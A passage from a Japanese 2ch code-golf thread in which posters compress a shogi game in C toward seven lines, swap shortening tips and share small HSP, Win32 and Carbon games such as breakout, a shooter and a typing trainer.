NGNG0640デフォルトの名無しさん
NGNG起動後は下の手番で、右下の香車を1マス前に動かすなら
「 1918 」って入力するんだね。
後手(下)の駒は _ 先手の駒は ^ がついて
成ると左に+が付くと。
すごいなこれ。
0641雪ん子
NGNGchar *k=" \0歩\0香\0桂\0銀\0金\0角\0飛\0王",d[81]={2,3,4,5,8,5,4,3,2,0,7},h[64]
,b[9],a=32,c=16,t,i,j,u,m,v,s,*p;int C(){m=d[i];u=d[j];if(j>81||i>81||j==i||u==0
||m&&m>>5==u>>5||(u&a)==t)return 0;m=j-i;m*=-t/c+1;s=u%a;if(s<2&&m==9||s==3&&(m
==19||m==17)||s==4&&(7<m&&m<11||m==-8||m==-10)||(s&8||21<s)&&(7<m&&m<11||m==1||
-7<m&&m<-11||m==-1))goto l;if(s==5||c<s&&s<22)if(7<m&&m<11||m==1||m==-1||m==-9)
goto l;else{v=j;do{if(s%c==6&&(m%8==0||m%10==0))v+=(b[2]>*b?1:-1)+(b[3]>b[1]?9:
-9);if(s%c==7)v+=m%9?j>i?-1:1:j>i?-9:9;if(s==2&&m&&m%9==0)v+=t?9:-9;}while(v!=i
&&!d[v]);if(v==i)goto l;}return 0;l:for(m=a-t;m<64-t;m++)if(!h[m]){h[m]=d[i]%c;
break;}d[j]=0;d[i]=u;if(s<8&&(t&&j>53&&i<54||!t&&i<27&&j>26)){puts("成る?y/n")
;for(m=0;m!='y'&&m!='n';scanf("%c",&m));if(m=='y')d[i]+=c;}return 1;}void main()
{d[c]=6;for(i=18;i<27;)d[i++]=1;for(i=0;i<28;i++)d[80-i]=d[i]+(d[i]?a:0);for(;;)
{p=d;for(i=0;i<81;){u=*p++;j=u%c;m=(u&c)>>4;u>>=5;if(!j)u=2;printf("|%c%s%c",m?
43:a,k+j*3,u>1?a:!u?94:95);if(i++%9==8)puts("|\n");}printf("先手:");for(i=63;i
+1;){if(h[i])printf("%s",k+h[i]*3);if(i--==a)printf("\n後手:");}printf("\n%s手\
入力\n",t?"後":"先");for(i=0;i<64;)if(h[i++]&8){printf("%s手の勝利",i<a?"後":
"先");return;}scanf("%4s",b);for(i=0;i<4;)b[i++]-=49;b[2]=8-b[2];i=b[2]+b[3]*9;
if(*b==63){j=b[1]+1;if(i>81||d[i])continue;if(j==1)for(u=i%9;u<81;)if(d[u+=9]==
j+t)continue;for(u=a-t;u<64-t;u++)if(h[u]==j){h[u]=0;t=a-t;d[i]=j+t;}}else{*b=
8-*b;j=*b+b[1]*9;if(C())t=a-t;}}}
バグ修正ばかりで7行見えてくる気配がない。
これで最後かな?
0642デフォルトの名無しさん
NGNG↑って何を意図してるの?
0643デフォルトの名無しさん
NGNG一番内側のfor,while,do-while文から抜ける、だったっけ?
0644雪ん子
NGNG二歩のチェックです。
ルールあんまりわかんないんですが
if(j==1)
歩をうつとき
for(u=i%9;u<81;)
同じ列を探して
if(d[u+=9]==j+t)continue;
自分の歩があったらコンテニュー
ということです。
0645雪ん子
NGNGチェックになってないですね。
そういう意図だったんですねすいません。
0646雪ん子
NGNGchar *k=" \0歩\0香\0桂\0銀\0金\0角\0飛\0王",d[81]={2,3,4,5,8,5,4,3,2,0,7},h[64 \
],b[9],a=32,c=16,t,i,j,u,m,v,w,s,*p;int C(){m=*(p=d+i);u=d[j];if(j==i||m&&m<<5==
u<<5||(u&a)==t)return 0;m=j-i;m*=-t/c+1;s=u%a;v=7<m&m<11;w=m==1|m==-1;if(s<2&m==
9|s==3&(m==19|m==17)|s==4&(v|m==-8|m==-10)|(s&8|21<s)&(v|w|-7<m&m<-11)|(s==5|c<s
&s<22)&(v|w|m==-9))goto l;v=j;do v+=s%c==6&(m%8==0|m%10==0)?(b[2]>*b?1:-1)+(b[3]
>b[1]?9:-9):s%c==7?m%9?j>i?-1:1:j>i?-9:9:m&&s==2&m%9==0?t?9:-9:1;while(v!=i&!d[ \
v]);if(v==i)goto l;return 0;l:for(m=a-t;m<64-t;m++)if(!h[m]){h[m]=*p%c;break;}d
[j]=0;*p=u;if(s<8&(t&&j>53&i<54||!t&&i<27&j>26)){puts("成る?y/n");for(m=0;m!=' \
y'&m!='n';scanf("%c",&m));if(m=='y')*p+=c;}return 1;}void main(){d[c]=6;for(i=18
;i<27;)d[i++]=1;for(i=0;i<28;)d[80-i++]=d[i]+(d[i]?a:0);for(;;){p=d;for(i=0;i<81
;){u=*p++;j=u%c;m=(u&c)>>4;u>>=5;if(!j)u=2;printf("|%c%s%c",m?43:a,k+j*3,u>1?a:!
u?94:95);if(i++%9==8)puts("|\n");}puts("先手");for(i=63;i+1;){if(h[i])printf("% \
s",k+h[i]*3);if(i--==a)puts("\n後手");}printf("\n%s手入力\n",t?"後":"先");for(i=
0;i<64;)if(h[i++]&8){printf("%s手の勝利",i<a?"後":"先");return;}l:scanf("%4s",b)
;for(i=0;i<4;)b[i++]-=49;b[2]=8-b[2];i=b[2]+b[3]*9;if(*b==63){j=b[1]+1;if(i>81||
d[i])goto l;if(j==1)for(u=i%9;u<81;)if(d[u+=9]==1+t)goto l;for(u=a-t;u<64-t;u++)
if(h[u]==j){h[u]=0;t=a-t;d[i]=j+t;}}else{*b=8-*b;j=*b+b[1]*9;t=C()?a-t:t;}}}
18行。うぉぉちぢまらねぇ!
0647デフォルトの名無しさん
NGNG小手先だけど…
> if(v==i)goto l;return 0;
って
> if(v!=i)return 0;
でいいよね? これで7字かな。
確かにスレタイの7行は達成してないけど、
それでも18行でここまで出来てると正直凄いと思う。
あとはがんがって縮めるだけだけど…半分以下か。
小手先のごまかしやってないでアルゴリズムレベルでの革新が必要な予感。
0648雪ん子
NGNG実は途中で先手が下になるべきだということに気づいてしまったので
帳尻あわせるために非常に汚いアルゴリズムになってしまったんです。
なので新たに誰か(俺みたいな部活プログラマじゃない人)が
1から作ったほうがいい気がするのです。
0649デフォルトの名無しさん
NGNG- " \0歩\0香\0桂\0銀\0金\0角\0飛\0王"
+ " 歩香桂銀金角飛王"
- printf("|%c%s%c",m?43:a,k+j*3,u>1?a:!u?94:95);
+ printf("|%c%.*s%c",m?43:a,2,k+j*2,u>1?a:!u?94:95);
- printf("%s",k+h[i]*3);
+ printf("%.*s",2,k+h[i]*2);
7字くらい? 微妙か…
漢字使うならワイド文字使うべきなのかもだけどねぇ…縮むかどうかは微妙か。
0650デフォルトの名無しさん
NGNG? printf("%.*s",2,k+h[i]*2);
+ printf("%.2s",k+h[i]*2);
これでもいいみたい
さらに4byte節約
0651デフォルトの名無しさん
NGNG七行ではこれ以上盛り込めない・・・。
*a:screen ,256:dim i,10,5:b=400:w=0:r=10:e=b:f=0:g=16:*h:p+5:if 50-t<p:f+r:p=0
repeat 5:c=cnt:j=c*16+g:repeat 10:d=cnt:l=d*20+f:if i.d.c=0{pos l,j+w:mes"鼎"
gosub n:}loop:loop:stick k,5:if(5>k)&(k>0){o=k*4-10/4*5:q+o:}if(k=16)&(m=0){
m=1:u=q+2:}pos q,b:mes"凸":if m=1{gosub v:}wait 3:cls:mes s:goto h:*v:e-16
pos u,e:mes"|":if e=0{m=0:e=b:}return:*n:x=u-l:y=j+w-e:if(x*x<257)&(y*y<257){
i.d.c=1:m=0:e=b:t+1:s+10:}if(l=0)&(r<0){r=10:w+16:}if(l=240)&(r>0):r=-10:w+16
if j+w=b{cls:goto z:}if t=50{t=0:goto a:}return:*z:mes s:pos q,b:mes"※":stop
0652デフォルトの名無しさん
NGNGあとこんな感じか
- if(!j)u=2;
+ u=j?u:2;
- if(m=='y')
+ if(m-'n')
なかなか1から書こうって奴はいないと思うよ。
一応突っ込んどくと所々1,2文字オーバーだがなw
0653雪ん子
NGNG7行に近づけようとおもいます。
ま、暇つぶしですが。
0654デフォルトの名無しさん
NGNGプログラミングは全然分からんが期待、ガムバレ。
0655デフォルトの名無しさん
NGNGソースと同じディレクトリにjpg画像を1.jpgという名前でコピーしておいて起動
#include "hspext.as"
picload"1.jpg":gfini winx,winy:repeat winy/10:c=cnt*10:repeat winx/10:d=cnt*10
pget d,c:if rval+gval+bval<150{gosub *a}:loop:loop:stop:*a:x=d:y=c:n=0:e=0:f=0
g=0:i=0:j=0:z=256:rnd h,z:rnd l,10:repeat l+10:rnd k,6:rnd m,20:if cnt=(l+9){
k=10:n=1}:o=m-10:repeat k:h+o:emcos p,h:emsin q,h:e+p:f+q:if n=1{gosub s}
color g,i,j:pset e/z+x,f/z+y:loop:loop:return:stop:*s:pget e/z+x,f/z+y
g+(rval-g/10):i+(gval-i/10):j+(bval-j/10):return
0656デフォルトの名無しさん
NGNG七行は遠いなぁ……
#include<stdio.h>
char*k=" 歩香桂銀金角飛王",d[81]={2,3,4,5,8,5,4,3,2,0,7},h[64],b[9],a=32,c=16,
t,i,j,u,m,v,w,s,*p,z,e;main(){d[c]=6;for(i=18;i<27;)d[i++]=1;for(;~--i;)d[80-i]
=d[i]?d[i]+a:0;for(;;){for(z=i=0;i<81;++i%9||puts("|\n"))u=d[i],j=u%c,printf("\
|%c%.2s%c"," +"[u/c&1],k+j*2,"^_ "[j?u/a:2]);puts("先手");for(i=64;~--i;z|=h[i]
&8,a-i||puts("\n後手"))h[i]&&printf("%.2s",k+h[i]*2);printf("\n%s手入力\n",t?"\
後":"先");if(z)return!printf("%s手の勝利",i<a?"後":"先");l:scanf("%4s",b);for(i
=0;i<4;)b[i++]-=49;e=8-b[2];i=e+b[3]*9;if(*b-63){*b=8-*b;j=*b+b[1]*9;m=*(p=d+i)
;u=d[j];z=!u|(u&a)==t||m&&u/a==m/a;if(!z){m=t?i-j:j-i;s=u%a;v=7<m&m<11;w=m*m==1
;if(!(s<2&m==9|s==3&(m==19|m==17)|s==4&(v|m==-8|m==-10)|(s&8|21<s)&(v|w|-7<m&m<
-11)|(s==5|c<s&s<22)&(v|w|m==-9))){v=j;do v+=s%c==6&!(m%8&&m%10)?((e>*b)+(b[3]>
b[1])*9-5)*2:s%c==7?z=m%9?1:9,j>i?-z:z:m&&s==2&m%9==0?t?9:-9:1;while((z=v-i)&&!
d[v]);}if(!z){for(m=a-t;d[j]=m<64-t&&h[m]||(h[m]=*p%c,0);m++);*p=u;if(s<8?t?53<
i&j<54:i<27&j>26:0){for(m=puts("成る?y/n");m-'y'&&m-'n';scanf("%c",&m));*p|=m-
'n'?c:0;}}}t=z?t:a-t;}else{j=b[1]+1;for(u=i%9;u<81&&~t+d[u+=9];);if(i>81||d[i]
||j==1&&u<81)goto l;for(u=a-t;u<64-t&&h[u]-j;u++);h[u]=0;t=a-t;d[i]=j+t;}}}
#include<stdio.h>
char*k=" 歩香桂銀金角飛王",d[81]={2,3,4,5,8,5,4,3,2,0,7},h[64],b[9],a=32,c=16,
t,i,j,u,m,v,w,s,*p,z,e;main(){d[c]=6;for(i=18;i<27;)d[i++]=1;for(;~--i;)d[80-i]
=d[i]?d[i]+a:0;for(;;){for(z=i=0;i<81;++i%9||puts("|\n"))u=d[i],j=u%c,printf("\
|%c%.2s%c"," +"[u/c&1],k+j*2,"^_"[j?u/a:2]);puts("先手");for(i=64;~--i;z|=h[i]&
8,a-i||puts("\n後手"))h[i]&&printf("%.2s",k+h[i]*2);printf("\n%s手入力\n",t?"\後
":"先");if(z)return!printf("%s手の勝利",i<a?"後":"先");l:scanf("%4s",b);for(i=0
;i<4;)b[i++]-=49;e=8-b[2];i=e+b[3]*9;if(*b-63){*b=8-*b;j=*b+b[1]*9;m=*(p=d+i);u
=d[j];z=!u|(u&a)==t||m&&u/a-m/a;if(!z){m=t?i-j:j-i;s=u%a;v=7<m&m<11;w=m*m-1;if(
!(s<2&m-9|s-3&(m-19|m-17)|s-4&(v|m+8|m+10)|(s&8|21<s)&(v|w|-7<m&m<-11)|(s-5|c<s
&s<22)&(v|w|m+9))){v=j;do v+=s%c-6&!(m%8&&m%10)?((e>*b)+(b[3]>b[1])*9-5)*2:s%c-
7?z=m%9?1:9,j>i?-z:z:m&&s-2&m%9-0?t?9:-9:1;while((z=v-i)&&!d[v]);}if(!z){for(m=
a-t;d[j]=m<64-t&&h[m]||(h[m]=*p%c,0);m++);*p=u;if(s<8?t?53<i&j<54:i<27&j>26:0){
for(m=puts("成る?y/n");m-'y'&&m-'n';scanf("%c",&m));*p|=m-'n'?c:0;}}}t=z?t:a-t
;}else{j=b[1]+1;for(u=i%9;u<81&&~t+d[u+=9];);if(i>81||d[i]||j-1&&u<81)goto l;fo
r(u=a-t;u<64-t&&h[u]-j;u++);h[u]=0;t=a-t;d[i]=j+t;}}}
0658雪ん子
NGNG王が動かないバグ、
後手が正しく成れないバグ
は修正しましたがほかにありますでしょうか?
あと、私の知識では
h[i]&&printf("%.2s",k+h[i]*2);
の前半6byteの意図がわかりません。教えていただけませんでしょうか?
#include<stdio.h>
char*k=" 歩香桂銀金角飛王",d[81]={2,3,4,5,8,5,4,3,2,0,7},h[64],b[9],a=32,c=16,
t,i,j,u,m,v,w,s,*p,z,e;main(){d[c]=6;for(i=18;i<27;)d[i++]=1;for(;~--i;)d[80-i]
=d[i]?d[i]+a:0;for(;;){for(z=i=0;i<81;++i%9||puts("|\n"))u=d[i],j=u%c,printf("\
|%c%.2s%c"," +"[u/c&1],k+j*2,"^_ "[j?u/a:2]);puts("先手");for(i=64;~--i;z|=h[i]
&8,a-i||puts("\n後手"))h[i]&&printf("%.2s",k+h[i]*2);printf("\n%s手入力\n",t?"\
後":"先");if(z)return!printf("%s手の勝利",i<a?"後":"先");l:scanf("%4s",b);for(i
=0;i<4;)b[i++]-=49;e=8-b[2];i=e+b[3]*9;if(*b-63){*b=8-*b;j=*b+b[1]*9;m=*(p=d+i)
;u=d[j];z=!u|(u&a)==t||m&&u/a==m/a;if(!z){m=t?i-j:j-i;s=u%a;v=7<m&m<11;w=v|m*m
==1;if(!(s<2&m==9|s==3&(m==19|m==17)|s==4&(v|m==-8|m==-10)|(s&8||21<s)&(w|-7<m&
m<-11)|(s==5|c<s&s<22)&(w|m==-9))){v=j;do v+=s%c==6&!(m%8&&m%10)?((e>*b)+(b[3]>
b[1])*9-5)*2:s%c==7?z=m%9?1:9,j>i?-z:z:m&&s==2&m%9==0?t?9:-9:1;while((z=v-i)&&!
d[v]);}if(!z){for(m=a-t;d[j]=m<64-t&&h[m]||(h[m]=*p%c,0);m++);*p=u;if(s<8?t?j<
53&i>54:i<27&j>26:0){for(m=puts("成る?y/n");m-'y'&&m-'n';scanf("%c",&m));*p|=m
-'n'?c:0;}}}t=z?t:a-t;}else{j=b[1]+1;for(u=i%9;u<81&&~t+d[u+=9];);if(d[i]||i>81
|j==1&u<81)goto l;for(u=a-t;u<64-t&&h[u]-j;u++);h[u]=0;t=a-t;d[i]=j+t;}}}
0659377 ◆HuPaSCAL16
NGNGもいっちょ小手先で。
6行目ラスト2文字減。
- for(i=0;i<4;)b[i++]-=49;
+ for(i=4;i--;)b[i]-=49;
A&&Bは、Aが0のときにだけBが評価される。
Aが0でないなら、BによらずA&&Bが1になるからね。
つまり、h[i]が0でないときにだけ、printfしなさいってこと。
printfの返り値とかは捨てられてます。
A&&Bは、Aが1のときにだけBが評価される。
Aが1でないなら、BによらずA&&Bが0になるから。
A||Bは、Aが0のときにだけBが評価される。
Aが0でないなら、BによらずA&&Bが1になるから。
0662雪ん子
NGNGレスありがとうございます。
そこら辺に見える||も同じような使いかたしてるんだとわかりました。
で、将棋自体が15行程度が限界にできているように思えてきました。
チェスのほうが簡単そうな気もしてきました。(細かいルールが・・・
0663雪ん子
NGNG自己レス
なに変なとこいじってバグ生み出してんだよ。
13-14行目
× s<8?t?j<53&i>54
○ s<8?t?j<54&i>53
0664デフォルトの名無しさん
NGNGキャスリングとアンパッサンと…
0665デフォルトの名無しさん
NGNG後手が1354と打つと歩が変な動きをするぞい。
0666雪ん子
NGNGおかげで17行になっちゃった。>>656すまそ。
#include<stdio.h>
char*k=" 歩香桂銀金角飛王",d[82]={2,3,4,5,8,5,4,3,2,0,7},h[64],b[9],f=81,a=32,
c=16,t,i,j,u,m,n,v,w,s,*p,z,e;main(){d[c]=6;d[f]=1;for(i=18;i<27;)d[i++]=1;for(
;~--i;)d[80-i]=d[i]?d[i]+a:0;for(;;){for(z=i=0;i<f;++i%9||puts("|\n"))u=d[i],j=
u%c,printf("|%c%.2s%c"," +"[u/c&1],k+j*2,"^_ "[j?u/a:2]);puts("先手");for(i=64;
~--i;z|=h[i]&8,a-i||puts("\n後手"))h[i]&&printf("%.2s",k+h[i]*2);printf("\n%s\
手入力\n",t?"後":"先");if(z)return!printf("%s手の勝利",i<a?"後":"先");l:scanf(
"%4s",b);for(i=4;i--;)b[i]-=49;e=8-b[2];i=e+b[3]*9;if(*b-63){*b=8-*b;j=*b+b[1]*
9;m=*(p=d+i);u=d[j];z=!u|(u&a)==t||m&&u/a==m/a;if(!z){m=t?i-j:j-i;s=u%a;v=7<m&m
<11;w=v|m*m==1;n=s<2&m==9|s==3&(m==19|m==17)|s==4&(v|m==-8|m==-10)|(s&8||21<s)&
(w|-7<m&m<-11)|(s==5|c<s&s<22)&(w|m==-9);if(!n){v=j;do v+=s%c==6&!(m%8&&m%10)?(
(e>*b)+(b[3]>b[1])*9-5)*2:s%c==7?z=m%9?1:9,j>i?-z:z:m&&s==2&m%9==0?t?9:-9:f-v;
while((z=v-i)&&!d[v]);}if(!z|n){for(m=a-t;d[j]=m<64-t&&h[m]||(h[m]=*p%c,0);m++)
;*p=u;if(s<8?t?j<54&i>53:i<27&j>26:0){for(puts("成る?y/n");n-'y'&&n-'n';scanf(
"%c",&n));*p|=n-'n'?c:0;}}}t=z?t:a-t;}else{j=b[1]+1;for(u=i%9;u<f&&~t+d[u+=9];)
;if(d[i]||i>f|j==1&u<f)goto l;for(u=a-t;u<64-t&&h[u]-j;u++);h[u]=0;t=a-t;d[i]=j
+t;}}}
0667雪ん子
NGNGまた伸びた・・・欝だ。
#include<stdio.h>
char*k=" 歩香桂銀金角飛王",d[82]={2,3,4,5,8,5,4,3,2,0,7},h[64],b[9],f=81,a=32,
c=16,t,i,j,u,m,n,v,w,s,*p,z,e;main(){d[c]=6;d[f]=1;for(i=18;i<27;)d[i++]=1;for(
;~--i;)d[80-i]=d[i]?d[i]+a:0;for(;;){for(z=i=0;i<f;++i%9||puts("|\n"))u=d[i],j=
u%c,printf("|%c%.2s%c"," +"[u/c&1],k+j*2,"^_ "[j?u/a:2]);puts("先手");for(i=64;
~--i;z|=h[i]&8,a-i||puts("\n後手"))h[i]&&printf("%.2s",k+h[i]*2);printf("\n%s\
手入力\n",t?"後":"先");if(z)return!printf("%s手の勝利",i<a?"後":"先");l:scanf(
"%4s",b);for(i=4;i--;)b[i]-=49;e=8-b[2];i=e+b[3]*9;if(*b-63){*b=8-*b;j=*b+b[1]*
9;m=*(p=d+i);u=d[j];z=!u|(u&a)==t||m&&u/a==m/a;if(!z){m=t?i-j:j-i;s=u%a;v=7<m&m
<11;w=v|m*m==1;n=s<2&m==9|s==3&(m==19|m==17)|s==4&(v|m==-8|m==-10)|(s&8||21<s)&
(w|-7<m&m<-11)|(s==5|c<s&s<22)&(w|m==-9);if(!n){v=j;do v+=s%c==6&!(m%8&&m%10)?(
(e>*b)+(b[3]>b[1])*9-5)*2:s%c==7?z=m%9?1:9,j>i?-z:z:m&&s==2&m%9==0?t?9:-9:f-v;
while((z=v-i)&&!d[v]);}if(!z|n){for(m=a-t;d[j]=m<64-t&&h[m]||(h[m]=*p%c,0);m++)
;*p=u;if(s<8?t?j<54&i>53:i<27&j>26:0){for(puts("成る?y/n");n-'y'&&n-'n';scanf(
"%c",&n));*p|=n-'n'?c:0;}}}t=z?t:a-t;}else{j=b[1]+1;for(u=i%9;u<f&&~t+d[u+=9];)
;if(d[i]||i>f|j==1&u<f)goto l;for(u=a-t;u<64-t&&h[u]!=j;u++);h[u]==j||(h[u]=0,t
=a-t,d[i]=j+t);}}}
0668デフォルトの名無しさん
NGNGソースと同じディレクトリに1.jpgという名前でファイルを置き実行。
結果は画面と1.bmpというファイルとして出力される。
#include "hspext.as"
picload"1.jpg":gfini winx,winy:h=winx/10:j=winy/10:dim i,h,j:dim k,h:dim m,j
repeat j:c=cnt:repeat h:d=cnt:pget d*10,c*10:if rval*2+gval/2-bval>100{i.d.c=1
k.d+1:m.c+1}if j-1=c{k.d=k.d*k.d:f+k.d:hx+d*k.d}loop:if h-1=d{m.c=m.c*m.c:g+m.c
hy+c*m.c}loop:b=hx/f:e=hy/g:*om:s=s+1:a=s+e:if (j-1)<a{yd=s*10:goto *en}
if i.b.a=0{yd=s*10:goto *en}goto *om:*en:repeat 256:emcos x,cnt:emsin y,cnt
pset b*10+(x/5),e*10+yd+(y/5):loop:bmpsave "1.bmp":stop
0669デフォルトの名無しさん
NGNGd[81]="23458543207"
i=27
盤面の初期化を
for(d[c]=6;i--;d[80-i]=e?e+a:0)e=d[i]^=i>10?i>17:48;
(↑にもあるが~--iはi--で良い)
>667にも適用可
0670デフォルトの名無しさん
NGNG0671雪ん子
NGNG期待。
0672デフォルトの名無しさん
NGNGchar m[49],c[5],i,o,p,q,r,a,b,d,e,f;void main(){for(i=2;i<5;m[i]=m[i+7]=m[i+35]=
m[i+42]=1,i++);for(i=14;i<35;m[i]=1,i++);m[24]=0;for(f=31;f;f--){for(i=0;i<49;p\
rintf(m[i]?"●":" "),i++,!(i%7)&&i?puts(""):0);while(1){scanf("%4s",c);o=c[0]-
48;p=c[1]-48;q=c[2]-48;r=c[3]-48;a=o-q;b=p-r;a*=a;b*=b;if(((!a&&b==4)||(a==4&&!b
)||(a==4&&b==4))&m[d=(o+q)/2+7*(p+r)/2]&!m[e=q+r*7])break;}puts("");m[o+p*7]=m[d
]=0;m[e]=1;}}
ソリティア
左上が0,0で入力はx1y1x2y2
0673デフォルトの名無しさん
NGNG駒が右逝ったら一段下の左から出てくる。
0674デフォルトの名無しさん
NGNGbuffer 3,999,180:pos 9,0:a="∵∴":b="|"+a:c=a+a:d="___/":f="∵ |":g=a+"(・)"
e="|":i=e+c+a:j="∵ )":k="\":o=255:mes" ____":mes" /"+c+k:l=" \|"
mes" /"+a+c+k:mes"/"+g+g+" |":mes b+"∵/ ○\∵|":mes b+" /三 | 三| |":m=" | "
mes b+m+"_|_ | |":mes" \∵ | === |/":mes l+d:pos 310,0:gcopy 3,9,0,150,54
pos 310,54:mes"/"+c+a+j:mes i+j:mes i+f:mes i+f:mes" \"+c+a+m:mes" \_"+d
pos 159,0:gcopy 3,9,,150,54:gcopy 3,309,,150,180:pos 242,55:gcopy 3,51,55,47,96
repeat 450:pos cnt+445,0:gcopy 3,460-cnt,0,1,180:loop:screen:repeat:r=cnt\6:s+9
t=s\200:repeat 4:pos cnt*200-160+t,150:gcopy 3,r*150,0,160,180:loop:wait 9:loop
0675674
NGNG0676C言語の人 ◆OtHeRo2E6Y
NGNG作業開始
近況:
アイディアがまとまらず、別の作業を始めました。
ネタ:
たたき台↓
ttp://pc2.2ch.net/test/read.cgi/tech/1051703369/667
0677デフォルトの名無しさん
NGNG○_
/ ヾ バンバンバンバン!
つ_| ̄|_
↑ ↑
人 たたき台
0678デフォルトの名無しさん
NGNGファイルtを読み込んでタイピングホイテョイ。
#include <windows.h>
void*c[10];RECT r={0,0,360,70};char y[999],*t=y;WINAPI f(HWND h,int m,int w,int
l){switch(m){case 15:{PAINTSTRUCT p;BeginPaint(h,&p);HDC d=p.hdc;FillRect(d,&r,
(HBRUSH)6);TextOut(d,5,5,t,40);SetBkColor(d,255);TextOut(d,5,5,t,1);EndPaint(h,
&p);break;}case 258:t+=w==*t;InvalidateRect(h,0,0);break;case 2:PostQuitMessage
(0);}return DefWindowProc(h,m,w,l);}main(){HFILE a=_lopen("t",0);_lread(a,t,999
);_lclose(a);c[1]=f;c[4]=GetModuleHandle(0);c[9]="typ";RegisterClass((WNDCLASS*
)&c);CreateWindow("typ","",4299<<16,0,0,360,70,0,0,(HMODULE)c[4],0);MSG m;for(;
GetMessage(&m,0,0,0);TranslateMessage(&m),DispatchMessage(&m));}
怪しいコード...
include無視なら7行なのだけど、まだところどころ短く出来そうな。
0679678
NGNG0680678
NGNG#include <windows.h>
char y[999],*t=y;main(){MSG m;PAINTSTRUCT p;HWND h;HDC d;int u,w=_lopen("t",0);
_lread(w,t,999);_lclose(w);CreateWindow(WC_DIALOG,"ty",4299<<16,0,0,360,70,0,0,
GetModuleHandle(0),0);for(;GetMessage(&m,0,0,0);TranslateMessage(&m),w=m.wParam
,(u=m.message)==15?BeginPaint(h=m.hwnd,&p),TextOut(d=p.hdc,5,5,t,40),SetBkColor
(d,41215),TextOut(d,5,5,t,1),EndPaint(h,&p):u==258?t+=w==*t,InvalidateRect(h,0,
0):u==273&&w==2?PostQuitMessage(0),0:DefWindowProc(h,u,w,m.lParam));return(0);}
危険ぽ。
0681デフォルトの名無しさん
NGNGioはfcntl.hが必要になるからOSのAPI使用...
#include <Carbon.h>
char y[999],*t=y;WindowRef w;EventRecord m;short r;long u;Rect b={45,9,99,500}
,B={0,0,99,999};main(){HOpenDF(0,0,"\pt",1,&r);SetPortWindowPort(w=NewWindow(0
,&b,"\pt",1,0,0,1,0));u=999,FSRead(r,&u,t);TextSize(36);for(;WaitNextEvent(-1,
&m,99,0);(u=m.what)==6?BeginUpdate(w),TextMode(4),MoveTo(5,30),DrawText(t,0,1)
,TextMode(0),DrawText(t,1,39),EndUpdate(w),0:u==1?FSClose(r),ExitToShell(),0:u
==3?t+=(m.message&255)==*t,InvalWindowRect(w,&B),EraseRect(&B),0:0);return 0;}
0682681
NGNG1.5秒操作しないと終了してた_| ̄|○
こっちで。
#include <Carbon.h>
char y[999],*t=y;WindowRef w;EventRecord m;short r;long u;Rect b={45,9,99,500}
,B={0,0,99,999};main(){HOpenDF(0,0,"\pt",1,&r);SetPortWindowPort(w=NewWindow(0
,&b,"\pt",1,0,0,1,0));u=999,FSRead(r,&u,t);TextSize(36);for(;;GetNextEvent(-1,
&m),(u=m.what)==6?BeginUpdate(w),TextMode(4),MoveTo(5,30),DrawText(t,0,1)
,TextMode(0),DrawText(t,1,39),EndUpdate(w),0:u==1?ExitToShell(),FSClose(r),0:u
==3?t+=(m.message&255)==*t,InvalWindowRect(w,&B),EraseRect(&B),0:0);return 0;}
0683デフォルトの名無しさん
NGNGa=640:b=480:c=320:d=210:o=255:p=50:randomize:rnd e,5:e-2+(e=2):f=3:buffer 2,a,b
m=72:n=21:dim j,9,6:do:boxf i\8*m+33,i/8*n+1,i\8*m+103,i/8*n+20:i++:until i>39
gsel:color o,o,o:do:c+e:d+f:k=mousex:l=mousey:gsel:redraw 0:pos 0,0
gcopy 2,0,0,a,b:color:pos c,d:mes "○":boxf k-p,450,k+p,470:redraw 1:gsel 2
color o,o,o:if c<0|(c>629){e=-e}:if d<0|(d=438&(k-p<c)&(k+p>c)){f=-f}:if d>b{
goto *z}:g=c-32/m:h=d/n:if d\n=18|(c-32\m=69)&(h<5){if j.g.h=0{j.g.h=1:f=-f
boxf g*m+33,h*n+1,g*m+103,h*n+20}}:wait 1:until 0:*z:dialog "GameOver"
ソースが初心者丸出しとか言う奴はヽ(`Д´)ノ窓から投げ捨てたる!
ついでに(・ω・)ノ[おまけ]
a=640:b=480:c=320:d=210:m=72:n=21:o=255:p=50:randomize:rnd e,5:e-2+(e=2):f=3
dim j,54:objsize m,n:do:pos i\8*m+33,i/8*n+1:button "",x:i++:until i>39:*x:c+e
d+f:k=mousex:l=mousey:redraw 0:color o,o,o:boxf:color:pos c,d:mes "○"
boxf k-p,450,k+p,470:redraw 1:g=d/n*8+(c-32/m):if d>b:goto *z
if c<0|(c>629){e=-e}:if d<0|(d=438&(k-p<c)&(k+p>c)){f=-f}
if d\n=18|(c-32\m=69)&(d/n<5){if j.g=0{f=-f:clrobj g,g:j.g=1}}:wait 1:goto x
*z:gsel:cls:font "",o:mes "Game\n Over":stop
0684デフォルトの名無しさん
NGNGレベル低すぎですねゴマンナサイ勉強し直して来ますOTL
w=320:h=240:b=255:x=150:y=220:i=14:m=5:screen,w,h:randomize:*a:redraw 2:color,,
boxf ,,w,h:color b,b,b:pos 0,0:mes s:pos x,y:mes"凸":stick k,5:if k&(x>0):x-
if k=4&(w-i>x){x+}if k=16&(t=0){t+:u=x+3:v=y-i}if t{pos u,v:mes"|":v-:if-i>v:t-
}for c,,m:if e.c=0{e.c+:rnd f.c,w-i:rnd g.c,100:g.c=-g.c}else{pos f.c,g.c
mes"敵":g.c+:if g.c>h{e.c-}if f.c+i>x&(x+i>f.c)&(g.c+i>y)&(y+i>g.c):end
if u+3<(f.c+i)&(u+5>f.c)&(g.c+i>v)&(v+i>g.c)&t{e.c-:t-:s+10}}next:redraw
await 9:goto a
0685デフォルトの名無しさん
NGNG0686デフォルトの名無しさん
NGNG期末
上昇気流
げっぷ多すぎ
0687デフォルトの名無しさん
NGNG0688デフォルトの名無しさん
NGNG0689ネタきぼんぬ
NGNG0690ネタきぼんぬ
NGNG0691デフォルトの名無しさん
NGNG0692デフォルトの名無しさん
NGNG0693デフォルトの名無しさん
NGNG0694ネタきぼんぬ
NGNG0695デフォルトの名無しさん
NGNG0696デフォルトの名無しさん
NGNG0698デフォルトの名無しさん
NGNG0699(1/2)
NGNG以下の要求仕様を満たすものをおながいします。
--------------------------------------------------------------------------------
[要求]
ソースファイルを入力として、ファイル情報、クラス情報、メソッド情報、メンバ情報を出力する。
[入力]
テキストファイル(C/C++/javaソースファイル)
[出力]
テキストファイル。各情報種別につき1ファイルを出力する。
※フォーマットは後述
[出力情報]
ファイル情報:ファイル名、パッケージ名、行数、インクルードファイル・インポートクラス、グローバル変数
外部参照変数・関数
クラス情報:クラス属性、クラス名、基底クラス名、継承属性、実装クラス、スロー例外
メソッド情報:メソッド属性、メソッドの型、メソッド名、メソッド引数、スロー例外
